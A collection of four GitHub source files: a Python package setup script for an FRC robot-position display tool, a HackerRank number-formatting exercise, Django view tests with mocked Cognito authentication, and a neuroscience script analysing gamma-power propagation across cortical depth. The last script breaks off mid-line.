+{"seq_id":"36019025002","text":"import setuptools\nfrom roboradar import VERSION\n\nwith open(\"README.md\", \"r\") as fh:\n    long_description = fh.read()\n\n\nsetuptools.setup(\n    name=\"roboradar\",\n    version=VERSION,\n    author=\"David Johnston\",\n    author_email=\"dwjgame11@gmail.com\",\n    description=\"Robot position display software for FRC\",\n    long_description=long_description,\n    long_description_content_type=\"text/markdown\",\n    url=\"https://github.com/Short-SirKit-6527/RoboRadar\",\n    install_requires=[\n        \"pynetworktables\",\n        \"pint\"\n    ],\n    packages=[\n        \"roboradar\"\n        ],\n    package_data={\n        \"roboradar\": [\n            \"icon.png\",\n            \"icon.ico\",\n            \"RoboRadarConfig.json\",\n            \"utils/__init__.py\",\n            \"utils/dummyboxbot.py\",\n            \"fields/__init__.py\",\n            \"fields/FRC_2020.py\",\n            \"robots/__init__.py\",\n            \"robots/standard.py\"\n            ]\n    },\n    classifiers=[\n        \"Programming Language :: Python :: 3\",\n        \"License :: OSI Approved :: GNU General Public License v3 (GPLv3)\",\n        \"Operating System :: OS Independent\",\n    ],\n    python_requires='>=3.6',\n)\n","repo_name":"Short-SirKit-6527/RoboRadar","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1150,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"}
+{"seq_id":"70691488697","text":"# def print_formatted(number):\n    \n#     def decimal_to_octal(n):\n#         oct = ''\n#         while n:\n#             res = str(n % 8)\n#             n = n // 8\n#             oct += res\n#         return oct[::-1]\n\n#     def decimal_to_hexadec(n):\n#         hexadec = ''\n#         while n:\n#             res = str(n % 16)\n#             n = n // 16\n#             hexadec += res\n#         hexadec = hexadec[::-1]\n#         # if hexadec == str(10): hexadec = 'A'\n#         # if hexadec == str(11): hexadec = 'B'\n#         # if hexadec == str(12): hexadec = 'C'\n#         # if hexadec == str(13): hexadec = 'D'\n#         # if hexadec == str(14): hexadec = 'E'\n#         # if hexadec == str(15): hexadec = 'F'\n\n#         return hexadec\n\n#     def decimal_to_bin(n):\n#         bin = ''\n#         while n:\n#             res = str(n % 2)\n#             n = n // 2\n#             bin += res\n#         return bin[::-1]\n\n#     for i in range(0,number):\n#         print(i+1,decimal_to_octal(i+1),decimal_to_hexadec(i+1),decimal_to_bin(i+1))\n\n# if __name__ == '__main__':\n#     n = int(input())\n#     print_formatted(n)\n\n\n# # def dec_to_oct(n):\n# #     res = ''\n# #     base = 8\n# #     while n > base:\n# #         res += str(n%base)\n# #         n = n//base\n# #     return (str(n) +res[::-1])\n\n# # print(dec_to_oct(384))\n\ndef print_formatted(number):\n    l = len(bin(number)) - 2\n    for i in range(1, number + 1):\n        f = \"\"\n        for c in \"doXb\":\n            if f:\n                f += \" \"\n            f += \"{:>\" + str(l) + c + \"}\"\n        print(f.format(i, i, i, i))\n        # print(f)\n\nif __name__ == '__main__':\n    n = int(input())\n    print_formatted(n)\nprint(\"{:>d} {:>o} {:>X} {:>b}\".format(10,10,10,10))\n# dec = \"{:>X}\".format(10)\n# print(dec)","repo_name":"sinhaapurva25/python","sub_path":"HackerRank-Python/python-string-formatting.py","file_name":"python-string-formatting.py","file_ext":"py","file_size_in_byte":1743,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"}
+{"seq_id":"24966460600","text":"from django.test import TestCase, RequestFactory\nfrom unittest.mock import PropertyMock, patch\nfrom rest_framework import status\nfrom custom_profile.views import get\nfrom consumer.models import Consumer\nfrom seller.models import Seller\n\n\nclass GetViewTest(TestCase):\n    def setUp(self):\n        self.factory = RequestFactory()\n\n    @patch(\"auth.permissions.CognitoPermission.has_permission\")\n    @patch(\"auth.authentication.CognitoAuthentication.authenticate\")\n    def test_get_view_consumer(self, mock_authenticate, mock_has_permission):\n        # Create a mock Consumer object and manually set its is_authenticated attribute to True\n        consumer = Consumer(username=\"test\", email=\"test@example.com\", type=\"consumer\")\n        mock_authenticate.return_value = (consumer, None)\n\n        # Mock the has_permission method to return True\n        mock_has_permission.return_value = True\n\n        # Create a mock request object\n        request = self.factory.post(\"/get/\")\n\n        # Call the get view with the mock request object\n        response = get(request)\n\n        # Check that the response status code is 200 OK\n        self.assertEqual(response.status_code, status.HTTP_200_OK)\n\n        # Check that the response data is correct\n        expected_data = {\n            \"username\": consumer.username,\n            \"email\": \"test@example.com\",\n            \"type\": \"consumer\",\n            \"details\": {\n                \"wishlist\": {\"data\": \"\"},\n                \"created_at\": consumer.created_at,\n                \"modified_at\": consumer.modified_at,\n            },\n        }\n        self.assertEqual(response.data[\"username\"], expected_data[\"username\"])\n\n    def test_get_view_seller(self):\n        # Create a mock request object\n        request = self.factory.post(\"/get/\")\n\n        # Create a mock Seller object and manually set its is_authenticated attribute to True\n        seller = Seller(username=\"test\", email=\"test@example.com\", type=\"seller\")\n        seller.is_authenticated = True\n\n        # Mock the request.user object\n        with patch(\n            \"rest_framework.request.Request.user\", new_callable=PropertyMock\n        ) as mock_user:\n            mock_user.return_value = seller\n\n            # Call the get view with the mock request object\n            response = get(request)\n\n            # Check that the response status code is 200 OK\n            self.assertEqual(response.status_code, status.HTTP_200_OK)\n\n            # Check that the response data is correct\n            expected_data = {\n                \"id\": str(seller.id),\n                \"username\": seller.username,\n                \"email\": \"test@example.com\",\n                \"type\": \"seller\",\n                \"details\": {...},\n            }\n            self.assertEqual(response.data[\"username\"], expected_data[\"username\"])\n\n    @patch(\"auth.permissions.CognitoPermission.has_permission\")\n    @patch(\"auth.authentication.CognitoAuthentication.authenticate\")\n    def test_get_view_no_user(self, mock_authenticate, mock_has_permission):\n        # Mock the authenticate method to return None\n        mock_authenticate.return_value = None\n\n        # Mock the has_permission method to return False\n        mock_has_permission.return_value = False\n\n        # Create a mock request object\n        request = self.factory.post(\"/get/\")\n\n        # Call the get view with the mock request object\n        response = get(request)\n\n        # Check that the response status code is 401 Unauthorized\n        self.assertEqual(response.status_code, status.HTTP_403_FORBIDDEN)\n\n        # Check that the response data is correct\n        expected_data = {\"detail\": \"Authentication credentials were not provided.\"}\n        self.assertDictEqual(response.data, expected_data)\n","repo_name":"COS301-SE-2023/e-Mall","sub_path":"api/tests/customer_profile/test-profile-views.py","file_name":"test-profile-views.py","file_ext":"py","file_size_in_byte":3732,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"22"}
+{"seq_id":"34011663697","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Apr 25 15:35:38 2022\n\n@author: dhruv\n\"\"\"\nimport numpy as np \nimport pandas as pd \nimport scipy.io\nfrom functions import *\nfrom wrappers import *\nimport os, sys\nimport neuroseries as nts \nimport time \nimport matplotlib.pyplot as plt \nimport pynapple as nap\nfrom Wavelets import MyMorlet as Morlet\nimport seaborn as sns\nfrom scipy.stats import wilcoxon, pearsonr, kendalltau, mannwhitneyu\nimport matplotlib.cm as cm\nimport seaborn as sns\n\ndata_directory = '/media/DataDhruv/Dropbox (Peyrache Lab)/Peyrache Lab Team Folder/Data/AdrianPoSub/###AllPoSub'\ndatasets = np.genfromtxt(os.path.join(data_directory,'dataset_Hor_DM.list'), delimiter = '\\n', dtype = str, comments = '#')\n# datasets = np.loadtxt(os.path.join(data_directory,'dataset_test.list'), delimiter = '\\n', dtype = str, comments = '#')\nrwpath = '/media/DataDhruv/Dropbox (Peyrache Lab)/Peyrache Lab Team Folder/Projects/PoSub-UPstate/Data'\n\nposall = []\nnegall = []\nminall = []\nposp_all = []\nnegp_all = []\nminp_all = []\npos_slope = []\nneg_slope = []\nmin_slope = []\n\ndiffcorr_DU = []\ndiffp_DU = []\n\ndiffcorr_UD = []\ndiffp_UD = []\n\nfor s in datasets:\n    print(s)\n    name = s.split('/')[-1]\n    path = os.path.join(data_directory, s)\n    rawpath = os.path.join(rwpath,s)\n    \n    data = nap.load_session(rawpath, 'neurosuite')\n    data.load_neurosuite_xml(rawpath)\n    \n#%%    \n############################################################################################### \n    # LOADING DATA\n###############################################################################################\n    spikes = data.spikes  \n    epochs = data.epochs\n    channelorder = data.group_to_channel[0]\n    depth = np.arange(0, -800, -12.5)\n    seq = channelorder[::8].tolist()\n    \n#%%\n# ############################################################################################### \n#     # LOAD UP AND DOWN STATE, NEW SWS AND NEW WAKE EPOCHS\n# ###############################################################################################   \n    file = os.path.join(rawpath, name +'.DM.new_sws.evt')\n    new_sws_ep  = data.read_neuroscope_intervals(name = 'new_sws', path2file = file)\n    \n    file = os.path.join(rawpath, name +'.DM.new_wake.evt')\n    new_wake_ep  = data.read_neuroscope_intervals(name = 'new_wake', path2file = file)\n    \n    # peaks = pd.read_pickle(rawpath + '/' + s + '_LFP_peaks.pkl')\n    # lfp_all = pd.read_pickle(rawpath + '/' + s + '_LFP_all.pkl')\n    \n    peaks = pd.read_pickle(rawpath + '/' + s + '_LFP_peaks1.pkl')\n    lfp_all = pd.read_pickle(rawpath + '/' + s + '_LFP_all1.pkl')\n    \n    # highgamma_all = pd.read_pickle(rawpath + '/' + s + '_highgamma_all.pkl') \n    highgamma_all = pd.read_pickle(rawpath + '/' + s + '_highgamma_all1.pkl') \n    \n    gamma_all = pd.read_pickle(rawpath + '/' + s + '_gamma_all.pkl') \n    \n#%%  \n#Positive crossing of 0.5 value\n \n    # poscross = highgamma_all.loc[0.0016:] > 0.5\n    # poscross = gamma_all.loc[0.0016:] > 0.5\n    \n    # poskeep = poscross.columns[poscross.sum(0) > 0]\n    \n    # depths_keeping = []\n    # for i in range(len(poscross.columns)): \n    #     if poscross.columns[i] in poskeep:\n    #         depths_keeping.append(i)            \n    \n    # depth2 = depth[depths_keeping]\n    \n    # ends = np.array([poscross.index[np.where(poscross[i])[0][0]] for i in poskeep])\n    # ends = ends*1e3\n   \n    \n#Negative crossing of 0.5 value\n \n    # negcross = highgamma_all.loc[-1:0.0016] > 0.5\n    # negcross = gamma_all.loc[-1:0.0016] > 0.5\n    \n    # negkeep = poscross.columns[negcross.sum(0) > 0]\n    \n    # st = np.array([negcross.index[np.where(negcross[i])[0][-1]] for i in negkeep])\n    # st = st*1e3\n    \n#Minimum of PETH\n    # mins = []\n    # for i in range(len(highgamma_all.columns)):\n    #     mins.append(highgamma_all[i].idxmin())\n    \n    # for i in range(len(gamma_all.columns)):\n    #     mins.append(gamma_all[i].idxmin())\n    \n    \n    # mins = np.array(mins)\n    # mins = mins*1e3\n    \n#Correlation for each session \n    \n    # poscorr, posp = kendalltau(ends, depth2) \n    # posall.append(poscorr)\n    # posp_all.append(posp)\n\n    # negcorr, negp = kendalltau(st, depth2) \n    # negall.append(negcorr)\n    # negp_all.append(negp)\n    \n    # mincorr, minp = kendalltau(mins, depth)\n    # minall.append(mincorr)\n    # minp_all.append(minp)\n\n#Best fit line\n\n#DU transition\n    # ypos = np.zeros(len(ends))\n    # mpos, bpos = np.polyfit(ends, depth2, 1)\n    # pos_slope.append(abs(-(mpos)))\n        \n    # for i in range(len(ends)):\n    #       ypos[i] = mpos*ends[i]\n         \n    # plt.figure()\n    # plt.scatter(ends, depth2, alpha = 0.8, label = 'R = ' + str(round(poscorr,2)), color = 'cornflowerblue')\n    # plt.plot(ends, ypos+bpos, label = 'speed = ' + str(round((abs(-(mpos))),2)), color = 'cornflowerblue')\n    # plt.title('DU threshold crossing_' + s)\n    # plt.xlabel('Lag (ms)')\n    # plt.yticks([0, -400, -800])\n    # plt.ylabel('Depth from top of probe (um)')\n    # plt.legend(loc = 'upper right')\n    \n#UD transition    \n    # yneg = np.zeros(len(st))\n    # mneg, bneg = np.polyfit(st, depth2, 1)\n    # neg_slope.append(abs(-(mneg)))\n        \n    # for i in range(len(st)):\n    #       yneg[i] = mneg*st[i]\n         \n    # plt.figure()\n    # plt.scatter(st, depth2, alpha = 0.8, label = 'R = ' + str(round(negcorr,4)))\n    # plt.plot(yneg + bneg, depth2)\n    # plt.title('UD threshold crossing_' + s)\n    # plt.xlabel('Lag (ms)')\n    # plt.yticks([0, -400, -800])\n    # plt.ylabel('Depth from top of probe (um)')\n    # plt.legend(loc = 'upper right')\n    \n#Minima\n    # ymin = np.zeros(len(mins))\n    # mmin, bmin = np.polyfit(mins, depth, 1)\n    # min_slope.append(abs(-(mmin)))\n        \n    # for i in range(len(mins)):\n    #       ymin[i] = mmin*mins[i]\n         \n    # plt.figure()\n    # plt.scatter(mins, depth, alpha = 0.8, label = 'R = ' + str(round(negcorr,4)))\n    # plt.plot(ymin + bmin, depth)\n    # plt.title('Minima of Gamma Power_' + s)\n    # plt.xlabel('Lag (ms)')\n    # plt.yticks([0, -400, -800])\n    # plt.ylabel('Depth from top of probe (um)')\n    # plt.legend(loc = 'upper right')\n        \n\n    #sns.regplot(x = depth, y = ends, ci = 95)\n    \n#%%\n#Speed stats\n\n# posdf = pd.DataFrame(data = (np.vstack([pos_slope, posp_all])).T, columns = ['speed', 'pval'])\n# negdf = pd.DataFrame(data = (np.vstack([neg_slope, negp_all])).T, columns = ['speed', 'pval'])\n# mindf = pd.DataFrame(data = (np.vstack([min_slope, minp_all])).T, columns = ['speed', 'pval'])\n\n# #Median correlation\n# m1 = np.load(rwpath + '/' + 'mediancorr_highgamma_1.npy')\n# m2 = np.load(rwpath + '/' + 'mediancorr_highgamma_2.npy')\n# m3 = np.load(rwpath + '/' + 'mediancorr_highgamma_3.npy')\n\n# p1 = np.load(rwpath + '/' + 'medianp_highgamma_1.npy')\n# p2 = np.load(rwpath + '/' + 'medianp_highgamma_2.npy')\n# p3 = np.load(rwpath + '/' + 'medianp_highgamma_3.npy')\n\n# m1 = np.load(rwpath + '/' + 'mediancorr_gamma_1.npy')\n# m2 = np.load(rwpath + '/' + 'mediancorr_gamma_2.npy')\n# m3 = np.load(rwpath + '/' + 'mediancorr_gamma_3.npy')\n\n# p1 = np.load(rwpath + '/' + 'medianp_gamma_1.npy')\n# p2 = np.load(rwpath + '/' + 'medianp_gamma_2.npy')\n# p3 = np.load(rwpath + '/' + 'medianp_gamma_3.npy')\n\n# medcorr = np.concatenate([m1,m2,m3])\n# medp = np.concatenate([p1,p2,p3])\n\n# median_df = pd.DataFrame(data = (np.vstack([medcorr, medp])).T, columns = ['mediancorr', 'pval'])\n# poscorr_df = pd.DataFrame(data = (np.vstack([posall, posp_all])).T, columns = ['poscorr', 'pval'])\n# negcorr_df = pd.DataFrame(data = (np.vstack([negall, negp_all])).T, columns = ['negcorr', 'pval'])\n# mincorr_df = pd.DataFrame(data = (np.vstack([minall, minp_all])).T, columns = ['mincorr', 'pval'])\n\n#%%\n#Speed plots\n\n# plt.figure()    \n# plt.title('Speed')\n# plt.boxplot(posdf['speed'], positions = [0], showfliers=False, patch_artist=True, boxprops=dict(facecolor='cornflowerblue', color='cornflowerblue'),\n#             capprops=dict(color='cornflowerblue'),\n#             whiskerprops=dict(color='cornflowerblue'),\n#             medianprops=dict(color='white', linewidth = 2))\n# plt.boxplot(negdf['speed'], positions = [0.3], showfliers=False, patch_artist=True, boxprops=dict(facecolor='cornflowerblue', color='cornflowerblue'),\n#             capprops=dict(color='cornflowerblue'),\n#             whiskerprops=dict(color='cornflowerblue'),\n#             medianprops=dict(color='white', linewidth = 2))\n# plt.boxplot(mindf['speed'], positions = [0.6], showfliers=False, patch_artist=True, boxprops=dict(facecolor='cornflowerblue', color='cornflowerblue'),\n#             capprops=dict(color='cornflowerblue'),\n#             whiskerprops=dict(color='cornflowerblue'),\n#             medianprops=dict(color='white', linewidth = 2))\n\n# x1 = np.random.normal(0, 0.01, size=len(posdf['speed'][posdf['pval'] < 0.05]))\n# x2 = np.random.normal(0.3, 0.01, size=len(negdf['speed'][negdf['pval'] < 0.05]))\n# x3 = np.random.normal(0.6, 0.01, size=len(mindf['speed'][mindf['pval'] < 0.05]))\n\n# x4 = np.random.normal(0, 0.01, size=len(posdf['speed'][posdf['pval'] > 0.05]))\n# x5 = np.random.normal(0.3, 0.01, size=len(negdf['speed'][negdf['pval'] > 0.05]))\n# x6 = np.random.normal(0.6, 0.01, size=len(mindf['speed'][mindf['pval'] > 0.05]))\n\n# plt.plot(x1, posdf['speed'][posdf['pval'] < 0.05], '.', color = 'k', fillstyle = 'none', markersize = 8, zorder =3)\n# plt.plot(x2, negdf['speed'][negdf['pval'] < 0.05], '.', color = 'k', fillstyle = 'none', markersize = 8, zorder =3)\n# plt.plot(x3, mindf['speed'][mindf['pval'] < 0.05], '.', color = 'k', fillstyle = 'none', markersize = 8, zorder =3)\n\n# plt.plot(x4, posdf['speed'][posdf['pval'] > 0.05], 'x', color = 'k', fillstyle = 'none', markersize = 6, zorder =3)\n# plt.plot(x5, negdf['speed'][negdf['pval'] > 0.05], 'x', color = 'k', fillstyle = 'none', markersize = 6, zorder =3)\n# plt.plot(x6, mindf['speed'][mindf['pval'] > 0.05], 'x', color = 'k', fillstyle = 'none', markersize = 6, zorder =3)\n\n# plt.xticks([0, 0.3, 0.6],['DU', 'UD', 'Minima'])\n# plt.ylabel('Velocity (mm/s)')   \n\n#Correlation distribution  \n\n# plt.figure()    \n# plt.title('DU correlations')\n# plt.boxplot(posall, positions = [0],showfliers=False, patch_artist=True, boxprops=dict(facecolor='cornflowerblue', color='cornflowerblue'),\n#             capprops=dict(color='cornflowerblue'),\n#             whiskerprops=dict(color='cornflowerblue'),\n#             medianprops=dict(color='white', linewidth = 2))\n# plt.boxplot(negall, positions = [0.3],showfliers=False, patch_artist=True, boxprops=dict(facecolor='cornflowerblue', color='cornflowerblue'),\n#             capprops=dict(color='cornflowerblue'),\n#             whiskerprops=dict(color='cornflowerblue'),\n#             medianprops=dict(color='white', linewidth = 2))\n# plt.boxplot(minall, positions = [0.6],showfliers=False, patch_artist=True, boxprops=dict(facecolor='cornflowerblue', color='cornflowerblue'),\n#             capprops=dict(color='cornflowerblue'),\n#             whiskerprops=dict(color='cornflowerblue'),\n#             medianprops=dict(color='white', linewidth = 2))\n# x1 = np.random.normal(0, 0.01, size=len(posall))\n# x2 = np.random.normal(0.3, 0.01, size=len(negall))\n# x3 = np.random.normal(0.6, 0.01, size=len(minall))\n\n# plt.plot(x1, posall, '.', color = 'k', fillstyle = 'none', markersize = 8, zorder =3)\n# plt.plot(x2, negall, '.', color = 'k', fillstyle = 'none', markersize = 8, zorder =3)\n# plt.plot(x3, minall, '.', color = 'k', fillstyle = 'none', markersize = 8, zorder =3)\n# plt.xticks([0, 0.3, 0.6],['DU', 'UD', 'Minima'])\n# plt.ylabel('Lag v/s depth (R)')   \n\n# z_DU_speed, p_DU_speed = wilcoxon(np.array(pos_slope)-0)\n# z_UD_speed, p_UD_speed = wilcoxon(np.array(neg_slope)-0)\n# z_min_speed, p_min_speed = wilcoxon(np.array(min_slope)-0)\n\n# z_DU_corr, p_DU_corr = wilcoxon(np.array(posall)-0)\n# z_UD_corr, p_UD_corr = wilcoxon(np.array(negall)-0)\n# z_min_corr, p_min_corr = wilcoxon(np.array(minall)-0)\n\n# t_speed, p_speed = mannwhitneyu(pos_slope, neg_slope)\n# t_corr, p_corr = mannwhitneyu(posall, negall)\n\n\n\n# fig, ax = plt.subplots()\n# ax.scatter(negdf['speed'].values,unit_speed) \n# lims = [\n#     np.min([ax.get_xlim(), ax.get_ylim()]),  # min of both axes\n#     np.max([ax.get_xlim(), ax.get_ylim()]),  # max of both axes\n# ]\n# ax.plot(lims, lims, 'k-', alpha=0.75, zorder=0)\n# ax.set_aspect('equal')\n# ax.set_xlim(lims)\n# ax.set_ylim(lims)\n# plt.xlabel('Gamma power UD speed') \n# plt.ylabel('Unit speed')\n\n\n# fig, ax = plt.subplots()\n# ax.scatter(mindf['speed'].values,unit_speed) \n# lims = [\n#     np.min([ax.get_xlim(), ax.get_ylim()]),  # min of both axes\n#     np.max([ax.get_xlim(), ax.get_ylim()]),  # max of both axes\n# ]\n# ax.plot(lims, lims, 'k-', alpha=0.75, zorder=0)\n# ax.set_aspect('equal')\n# ax.set_xlim(lims)\n# ax.set_ylim(lims)\n# plt.xlabel('Gamma power minima speed')  \n# plt.ylabel('Unit speed')\n\n#%%\n#Medians versus DU, UD, minima\n\n# plt.figure()\n# plt.scatter(median_df['mediancorr'],poscorr_df['poscorr'])\n# plt.xlabel('Median R')\n# plt.ylabel('DU corr')\n\n# plt.figure()\n# plt.scatter(median_df['mediancorr'],negcorr_df['negcorr'])\n# plt.xlabel('Median R')\n# plt.ylabel('UD corr')\n\n# plt.figure()\n# plt.scatter(median_df['mediancorr'],mincorr_df['mincorr'])\n# plt.xlabel('Median R')\n# plt.ylabel('Minima corr')\n\n#%%\n#Differential of Gamma PETH\n\n    w = pd.DataFrame(index = highgamma_all.index.values[0:-1], columns = highgamma_all.columns) #Drop end values\n    \n    # w = pd.DataFrame(index = gamma_all.index.values[0:-1], columns = gamma_all.columns) #Drop end values\n\n\n    peakval = []\n    troughs = []\n    \n    for i in highgamma_all.columns:\n        w[i] = np.diff(highgamma_all[i].values)\n        w[i] = w[i].rolling(window=60,win_type='gaussian',center=True,min_periods=1).mean(std=80)\n        peakval.append(w[i][0:1].idxmax()*1e3)\n        troughs.append(w[i][-1:0].idxmin()*1e3)\n    \n    # for i in gamma_all.columns:\n    #     w[i] = np.diff(gamma_all[i].values)\n    #     w[i] = w[i].rolling(window=60,win_type='gaussian',center=True,min_periods=1).mean(std=80)\n    #     peakval.append(w[i].idxmax()*1e3)\n    #     troughs.append(w[i].idxmin()*1e3)\n    \n    \n    corr_DU, p_DU = kendalltau(peakval,depth)\n    diffcorr_DU.append(corr_DU)\n    diffp_DU.append(p_DU)    \n    \n    corr_UD, p_UD = kendalltau(troughs,depth)\n    diffcorr_UD.append(corr_UD)\n    diffp_UD.append(p_UD) \n        \n    # plt.plot(w[-0.2:0.3][channelorder[31]], color='cornflowerblue')\n    # plt.axvline(peakval[31]/1e3, color = 'silver', linestyle = '--')\n    # plt.axvline(troughs[31]/1e3, color = 'silver', linestyle = '--')\n    # plt.xticks([-0.2, 0, 0.3])\n    # plt.gca().set_box_aspect(1)\n    \n    mpos, bpos = np.polyfit(peakval,depth,1)\n    pos_slope.append(abs(-(mpos)))\n    \n    ypos = np.zeros(len(peakval))\n    for i in range(len(peakval)):\n           ypos[i] = (mpos*peakval[i]) + bpos\n    \n    mneg, bneg = np.polyfit(troughs,depth,1)\n    neg_slope.append(abs(-(mneg)))\n    \n    yneg = np.zeros(len(troughs))\n    for i in range(len(troughs)):\n           yneg[i] = (mneg*troughs[i]) + bneg\n    \n    plt.figure()\n    plt.title(s)\n    plt.scatter(peakval, depth, label = 'R = ' + str(round(corr_DU,2)), color = 'cornflowerblue')   \n    plt.plot(peakval,ypos, label = 'speed = ' + str(round((abs(-(mpos))),2)), color = 'cornflowerblue')\n    plt.xlabel('DU Lag (ms)')\n    plt.ylabel('Depth (um)')\n    plt.yticks([0, -400, -800])\n    plt.legend(loc = 'upper right')\n    plt.gca().set_box_aspect(1)\n\n#%%\n    # plt.figure()\n    # plt.title(s)\n    # plt.scatter(troughs, depth, label = 'R = ' + str(round(corr_UD,2)), color = 'orange')   \n    # plt.plot(troughs,yneg, label = 'speed = ' + str(round((abs(-(mneg))),2)), color = 'orange')\n    # plt.xlabel('UD Lag (ms)')\n    # plt.ylabel('Depth (um)')\n    # plt.yticks([0, -400, -800])\n    # plt.legend(loc = 'upper right')\n\n#%% \n    \n    # plt.figure(figsize = (24,12))\n    # plt.suptitle(s)\n    # plt.subplot(131)\n    # j = 0\n    # for i in seq:\n    #     plt.plot(w[-0.75:0.75][i], color=cm.inferno(j/8), label = j)\n    #     plt.axvline(0, color = 'k', linestyle = '--')\n    #     plt.legend(loc = 'upper right')\n    #     j+=1\n    # plt.subplot(132)\n    # plt.scatter(peakval, depth, label = 'R = ' + str(round(corr_DU,2)), color = 'cornflowerblue')   \n    # plt.plot(peakval,ypos, label = 'speed = ' + str(round((abs(-(mpos))),2)), color = 'cornflowerblue')\n    # plt.xlabel('DU Lag (ms)')\n    # plt.ylabel('Depth (um)')\n    # plt.legend(loc = 'upper right')\n    # plt.subplot(133)\n    # plt.scatter(troughs, depth, label = 'R = ' + str(round(corr_UD,2)), color = 'cornflowerblue') \n    # plt.plot(troughs,yneg, label = 'speed = ' + str(round((abs(-(mneg))),2)), color = 'cornflowerblue')\n    # plt.xlabel('UD Lag (ms)')\n    # plt.ylabel('Depth (um)')\n    # plt.legend(loc = 'upper right')\n\n#%%\n\nDUcorr = pd.DataFrame(diffcorr_DU)\nUDcorr = pd.DataFrame(diffcorr_UD)\nDUtype = pd.DataFrame(['DU' for x in range(len(diffcorr_DU))])\nUDtype = pd.DataFrame(['UD' for x in range(len(diffcorr_UD))])\n\nb = pd.DataFrame()\nb['corr'] = pd.concat([DUcorr,UDcorr])\nb['type'] = pd.concat([DUtype,UDtype])\n\n#%% \n\nplt.figure()\nsns.set_style('white')\npalette = ['royalblue', 'lightsteelblue']\nax = sns.violinplot( x = b['type'], y=b['corr'] , data = b, dodge=False,\n                    palette = palette,cut = 2,\n                    scale=\"width\", inner=None)\nax.tick_params(bottom=True, left=True)\nxlim = ax.get_xlim()\nylim = ax.get_ylim()\nfor violin in ax.collections:\n    x0, y0, width, height = violin.get_paths()[0].get_extents().bounds\n    violin.set_clip_path(plt.Rectangle((x0, y0), width / 2, height, transform=ax.transData))\nsns.boxplot(x = b['type'], y=b['corr'] , data = b, saturation=1, showfliers=False,\n            width=0.3, boxprops={'zorder': 3, 'facecolor': 'none'}, ax=ax)\nold_len_collections = len(ax.collections)\nsns.swarmplot(x = b['type'], y=b['corr'], data=b, color = 'k', dodge=False, ax=ax)\n# sns.stripplot(x = b['type'], y=b['corr'], data=b, color = 'k', dodge=False, ax=ax)\nfor dots in ax.collections[old_len_collections:]:\n    dots.set_offsets(dots.get_offsets())\nax.set_xlim(xlim)\nax.set_ylim(ylim)\nplt.axhline(0, color = 'silver')\nplt.ylabel('Delay v/s depth (R)')\nax.set_box_aspect(1)\n\n\nz_du, p_du = wilcoxon(np.array(DUcorr)-0)\nz_ud, p_ud = wilcoxon(np.array(UDcorr)-0)\nt, p = mannwhitneyu(DUcorr, UDcorr)\n\n#%%\n\nDU_df = pd.DataFrame(data = (np.vstack([diffcorr_DU, diffp_DU])).T, columns = ['DU', 'pval'])\n# UD_df = pd.DataFrame(data = (np.vstack([diffcorr_UD, diffp_UD])).T, columns = ['UD', 'pval'])\n\n\n# plt.figure()    \n# plt.title('Differental correlations')\n# plt.boxplot(DU_df['DU'], positions = [0],showfliers=False, patch_artist=True, boxprops=dict(facecolor='cornflowerblue', color='cornflowerblue'),\n#             capprops=dict(color='cornflowerblue'),\n#             whiskerprops=dict(color='cornflowerblue'),\n#             medianprops=dict(color='white', linewidth = 2))\n# plt.boxplot(UD_df['UD'], positions = [0.3],showfliers=False, patch_artist=True, boxprops=dict(facecolor='lightsteelblue', color='lightsteelblue'),\n#             capprops=dict(color='lightsteelblue'),\n#             whiskerprops=dict(color='lightsteelblue'),\n#             medianprops=dict(color='white', linewidth = 2))\n\n# x1 = np.random.normal(0, 0.01, size=len(DU_df['DU'][DU_df['pval'] < 0.05]))\n# x2 = np.random.normal(0.3, 0.01, size=len(UD_df['UD'][UD_df['pval'] < 0.05]))\n# x3 = np.random.normal(0, 0.01, size=len(DU_df['DU'][DU_df['pval'] >= 0.05]))\n# x4 = np.random.normal(0.3, 0.01, size=len(UD_df['UD'][UD_df['pval'] >= 0.05]))\n\n# plt.plot(x1, DU_df['DU'][DU_df['pval'] < 0.05] , 'x', color = 'k', fillstyle = 'none', markersize = 6, zorder =3, label = 'p < 0.05')\n# plt.plot(x2, UD_df['UD'][UD_df['pval'] < 0.05] , 'x', color = 'k', fillstyle = 'none', markersize = 6, zorder =3)\n# plt.plot(x3, DU_df['DU'][DU_df['pval'] > 0.05] , '.', color = 'k', fillstyle = 'none', markersize = 6, zorder =3, label = 'p >= 0.05')\n# plt.plot(x4, UD_df['UD'][UD_df['pval'] > 0.05] , '.', color = 'k', fillstyle = 'none', markersize = 6, zorder =3)\n# plt.xticks([0, 0.3],['DU', 'UD'])\n# plt.axhline(0, color = 'silver')\n# plt.ylabel('Lag v/s depth (R)')   \n# plt.legend(loc = 'upper right')\n\nposdf = pd.DataFrame(data = (np.vstack([pos_slope, diffp_DU])).T, columns = ['speed', 'pval'])\n# negdf = pd.DataFrame(data = (np.vstack([neg_slope, diffp_UD])).T, columns = ['speed', 'pval'])\n\n# plt.figure()    \n# plt.title('DU Speed')\n# plt.boxplot(posdf['speed'][posdf['pval'] < 0.05], positions = [0], showfliers=False, patch_artist=True, boxprops=dict(facecolor='darkslategray', color='darkslategray'),\n#             capprops=dict(color='darkslategray'),\n#             whiskerprops=dict(color='darkslategray'),\n#             medianprops=dict(color='white', linewidth = 2))\n\n# x1 = np.random.normal(0, 0.01, size=len(posdf['speed'][posdf['pval'] < 0.05]))\n# plt.plot(x1, posdf['speed'][posdf['pval'] < 0.05], '.', color = 'k', fillstyle = 'none', markersize = 8, zorder =3)\n# plt.xticks([])\n# plt.ylabel('Velocity (mm/s)')   \n\n\n#%% \n\n#Run adrian_hist_PETH_up before running this\n\nunit_speed = regs['spd_ex']\n\ncorr, p = pearsonr(posdf['speed'],unit_speed)\nm,b = np.polyfit(posdf['speed'],unit_speed,1)\ny = m*posdf['speed'] + b\nplt.figure()\nplt.scatter(posdf['speed'].values,unit_speed, label = 'R = ' + str(round(corr,2)), color = 'k')\nplt.plot(posdf['speed'].values,y, color = 'k')\nplt.xlabel('LFP speed (mm/s)')\nplt.ylabel('Unit speed (mm/s)')\nplt.legend(loc = 'upper right')\n\n#%% \n\n#Run adrian_hist_PETH_up before running this\n\nunit_speed = regs['spd_ex'][regs['pval_ex'] < 0.05]\n\nunit_type = pd.DataFrame(['Units' for x in 